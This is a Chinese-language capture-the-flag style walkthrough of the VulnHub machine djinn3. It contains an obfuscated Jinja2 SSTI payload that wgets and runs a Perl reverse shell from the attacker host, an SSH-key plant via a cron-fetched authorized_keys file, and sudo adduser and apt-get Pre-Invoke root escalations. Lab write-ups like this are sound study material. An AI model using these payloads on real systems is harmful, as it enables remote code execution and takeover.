vulnhub靶機:djinn3

woaishuaidan發表於2024-03-25

一:資訊收集

1:主機發現

2:埠掃描

nmap -sV -p- -T4 10.9.23.26

3:埠探測

1:訪問80埠,沒有找到有用的資訊

2:訪問5000埠,提到一個預設使用者guest

3:nc連線31337埠,需要輸入使用者名稱和密碼,嘗試剛剛的guest/guest,成功登入,這個是和5000埠相關聯的,在這裡建立,5000埠用於顯示

nc 10.9.23.26 31337

反覆測試發現存在ssti漏洞

SSTI (Server-Side Template Injection) 漏洞是一種常見的Web應用程式漏洞,允許攻擊者在伺服器端注入惡意程式碼到應用程式的模板中。這種漏洞通常發生在使用模板引擎的Web應用程式中,攻擊者可以利用這個漏洞執行任意程式碼,包括讀取敏感資料、控制伺服器等。

在twig模板會以乘積結果顯示,而jinja2中則是以乘方顯示

{{7*'7'}}

二:滲透測試

1:漏洞利用

https://github.com/swisskyrepo/PayloadsAllTheThings

找到jinja2的那個payload

以上結果說明ssti引擎是jinja2,網上搜集jinja2的反彈shell,搜尋ssti的payload,得到

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

把id改成wget,然後加上我們攻擊機的反彈shell檔案,使用perl,注意要改下檔案裡的ip和埠

路徑/usr/share/webshells/perl/perl-reverse-shell.pl,使用的時候需要修改檔案中的ip,並將檔案複製到根目錄下

最終我們要使用的payload就是下面這個

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('wget http://10.9.23.112/perl-reverse-shell.pl;perl perl-reverse-shell.pl')|attr('read')()}}

然後把上面的內容放在31337埠新建的ticket裡面,kali用python開啟http服務,然後進入5000埠,點選link即可得到shell

開啟nc監聽

反彈成功

python提權

python -c "import pty;pty.spawn('/bin/bash')"

2:ssh

然後把pspy64上傳到靶機的tmp目錄裡,pspy64是檢測主機的程序工具,執行發現存在兩個py檔案,搜尋saint的檔案

發現存在兩個py檔案,搜尋saint的檔案

find / -user saint 2>/dev/null

根據這兩個python程式的原始碼,在/tmp下新建一個檔案,檔名字為25-03-2024.config.json,內容如下,本地伺服器的authorized_keys檔案的內容是使用ssh-keygen生成的id_rsa.pub檔案內容

{
"URL":"http://10.9.23.112/authorized_keys",
"Output":"/home/saint/.ssh/authorized_keys"

}

用ssh-keygen工具生成id_rsa.pub和id_rsa檔案,keys檔案就是id_rsa.pub的內容,然後kali開啟http服務(這裡由於靶機建立檔案比較難,可以在kali新建json檔案,然後靶機去下載)

等待片刻,進入kali的/root/.ssh目錄下,直接連線saint使用者即可

ssh saint@10.9.23.26

3:提權

執行sudo -l,發現可以免密執行adduser命令,新增一個root組的使用者

檢視sudoers檔案,檢視還有哪些使用者可以使用sudo執行命令,發現一個jason使用者,但是這個使用者並不存在,但是我們是可以新建使用者的,所以需要密碼(自己的密碼)才能執行這個也就沒有問題

sudo adduser choudan -gid=0

exit退回到saint使用者,新建jason使用者

切換到jason使用者,使用apt-get命令提權

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

靶機結束

相關文章